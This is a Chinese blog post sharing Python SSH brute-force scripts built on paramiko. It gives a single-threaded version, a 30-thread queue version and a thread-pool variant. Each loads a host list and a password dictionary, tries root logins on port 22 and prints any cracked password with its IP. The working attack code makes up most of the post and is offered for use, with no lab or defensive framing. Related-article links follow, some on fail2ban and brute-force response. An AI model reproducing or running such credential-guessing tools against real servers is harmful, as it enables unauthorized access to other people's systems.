ssh爆破脚本
前些天,基友发我一个ssh爆破工具,看起来很吊的样子。然后我就无聊自己写了个py脚本的。
单线程:慢成狗-----
#coding:utf-8 #author:jwong import threading import os import time import paramiko import sys import Queue import socket BASE_DIR = os.path.dirname(os.path.abspath(__file__)) def ssh_connect(host,pwd): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect(hostname=host,port=22,username='root',password=pwd,timeout=5) ssh.close() print('破解成功!用户名:root' + '密码:' + pwd + ',ip:' + host) except paramiko.AuthenticationException,e: pass except socket.error,e: pass # class ClassName(object): # """docstring for ClassName""" # def __init__(self, arg): # super(ClassName, self).__init__() # self.arg = arg # host_file = BASE_DIR + '\dict\hosts.txt' pass_file = BASE_DIR + '\dict\pass.txt' def open_file(path): host = [] with open(path,'r') as f: for line in f.readlines(): if line.strip('\n') == '': continue host.append(line.strip('\n')) return host hosts = open_file(host_file) password = open_file(pass_file) for host in hosts: for pass12 in password: print host ssh_connect(host,pass12)
运行会出现:No handlers could be found for logger "paramiko.transport" 错误 ----http://stackoverflow.com/questions/19152578/no-handlers-could-be-found-for-logger-paramiko
多线程版本:
#coding:utf-8 import threading import Queue import paramiko import socket import os BASE_DIR = os.path.dirname(os.path.abspath(__file__)) host_file = BASE_DIR + '\dict\hosts.txt' pass_file = BASE_DIR + '\dict\pass.txt' paramiko.util.log_to_file("filename.log") queue = Queue.Queue() lock = threading.Lock() def read_host_file(path): hostlist = [] with open(path,'r') as f: for line in f.readlines(): if line == '': continue line = socket.gethostbyname(line.strip()) hostlist.append(line) return hostlist def read_pass_file(path): passlist = [] with open(path,'r') as f: for line in f.readlines(): if line == '': continue passlist.append(line.strip()) return passlist class SSH(threading.Thread): """docstring for SSH""" def __init__(self,queue): threading.Thread.__init__(self) self.queue = queue def run(self): while True: # if self.queue.empty(): # break host,pwd = self.queue.get() try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(hostname=host,port=22,username='root',password=pwd,timeout=5) ssh.close() print('破解成功!用户名:root' + '密码:' + pwd + ',ip:' + host) except paramiko.AuthenticationException,e: pass except socket.error,e: pass except: pass self.queue.task_done() if __name__ == '__main__': hosts = read_host_file(host_file) passlist = read_pass_file(pass_file) for i in range(30): fuck_ssh = SSH(queue) fuck_ssh.setDaemon(True) fuck_ssh.start() for host in hosts: for pwd in passlist: queue.put((host,pwd)) queue.join()
另一个模块实现:
#coding:utf-8 from multiprocessing.dummy import Pool as ThreadPool from functools import partial if __name__ == '__main__': hosts = read_host_file(host_file) passlist = read_pass_file(pass_file) for host in hosts: partial_user = partial(ssh_connect,host) pool = ThreadPool(20) pool.map(partial_user,passlist) pool.close() pool.join()
参考文献:
http://www.ibm.com/developerworks/cn/aix/library/au-threadingpython/
http://www.waitalone.cn/python-mysql-mult.html
http://www.waitalone.cn/python-brute-all.html
http://www.waitalone.cn/python-thread-map.html
ssh爆破脚本的更多相关文章
- python多线程ssh爆破
python多线程ssh爆破 Python 0x01.About 爆弱口令时候写的一个python小脚本,主要功能是实现使用字典多线程爆破ssh,支持ip表导入,字典数据导入. 主要使用到的是pyth ...
- SSH爆破应急响应
问题发现 登录云主机,根据提示消息,发现正遭受SSH爆破攻击,IP地址为159.65.230.189 查看登录相关安全日志:tail -f /var/log/secure,发现其他尝试爆破IP106. ...
- 安装fail2ban,防止ssh爆破及cc攻击
背景:之前写过shell脚本防止服务器ssh爆破,但是对于服务器的cpu占用较多,看来下资料安装fail2ban 可以有效控制ssh爆破 1:fail2ban 安装(环境:centos6 宝塔) y ...
- Python Telnet弱口令爆破脚本及遇到的错误与问题
写得时候遇到了一个很大的问题,就是我在发送用户名,接受用户名就会一直卡住.然后等了好久后提示 recv ‘\r\nSession timed out.\r\n\r\nTelnet Server has ...
- 20181225-Linux Shell Bash环境下自动化创建ssh互信脚本
20181225-Linux Shell Bash环境下自动化创建ssh互信脚本 1. 我的Blog 博客园 https://www.cnblogs.com/piggybaba/ 个人网站 http: ...
- Python SSH爆破以及Python3线程池控制线程数
源自一个朋友的要求,他的要求是只爆破一个ip,结果出来后就停止,如果是爆破多个,完全没必要停止,等他跑完就好 #!usr/bin/env python #!coding=utf-8 __author_ ...
- CentOS 7安装fail2ban+Firewalld防止SSH爆破与CC攻击
准备工作 1.检查Firewalld是否启用 #如果您已经安装iptables建议先关闭 service iptables stop #查看Firewalld状态 firewall-cmd --sta ...
- CentOS7防止CC攻击防止SSH爆破采取的措施
准备工作 1.检查firewalld是否启用 #如果您已经安装iptables建议先关闭 service iptables stop #查看firewalld状态 firewall-cmd --sta ...
- python写批量weblogic爆破脚本
前言: 整理笔记的时候,发现了weblogic的攻击方法.心里打着算盘看看怎么写 个批量的弱口令爆破脚本.得出了以下思路 思路: 1.利用钟馗之眼采集weblogic的网站,将IP写入到txt 2.添 ...
随机推荐
- Wookmark-jQuery-master 瀑布流插件
Wookmark-jQuery-master 瀑布流插件使用介绍,含个人测试DEMO 要求 必备知识 本文要求基本了解 Html/CSS, JavaScript/JQuery. 开发环境 Dream ...
- Javascript多线程引擎(九)
Javascript多线程引擎(九)--垃圾回收 垃圾回收这个话题对Programer来说是非常老旧的话题, 从手动的malloc/free 到半自动的 引用计数 再到全自动的 mark-sweep ...
- RPC技术
微软RPC技术学习小结 RPC,即Remote Procedure Call,远程过程调用,是进程间通信(IPC, Inter Process Communication)技术的一种.由于这项技术在自 ...
- Leetcode: Subsets & SubsetsII
Subsets Description: Given a set of distinct integers, S, return all possible subsets. Note: Element ...
- Router
backbone库学习-Router backbone库的结构http://www.cnblogs.com/nuysoft/archive/2012/03/19/2404274.html 本文的例子来 ...
- WinDBG调试.NET程序示例
WinDBG调试.NET程序示例 好不容易把环境打好了,一定要试试牛刀.我创建了一个极其简单的程序(如下).让我们期待会有好的结果吧,阿门! using System; using System.Co ...
- [新概念英语II 笔记] Lesson 3: Please Send Me a Card
发现身边很多程序员都能看懂英文技术文章的60%-80%内容,但大家都有一个毛病,就是不会说,不会写作,在逛英文技术社区的时候,想发表点什么评论,总担心自己写的话有错误.究其原因, 我觉得主要原因是因为 ...
- 无穷字符串问题--CSDN上的面试题(原创)
网上看到一道奇怪的题,分享一下:http://hero.csdn.net/Question/Details?ID=307&ExamID=302 发布公司:CSDN 有 效 期:2014-02- ...
- unittest 框架
unittest 框架 学习unittest 很好的一个切入点就是从selenium IDE 录制导出脚本.相信不少新手学习selenium 也是从IED 开始的. IDE学习参考: 菜鸟学自动化测试 ...
- ORM查询语言OQL
ORM查询语言(OQL)简介--高级篇(续):庐山真貌 相关文章内容索引: ORM查询语言(OQL)简介--概念篇 ORM查询语言(OQL)简介--实例篇 ORM查询语言(OQL)简介--高级篇:脱胎 ...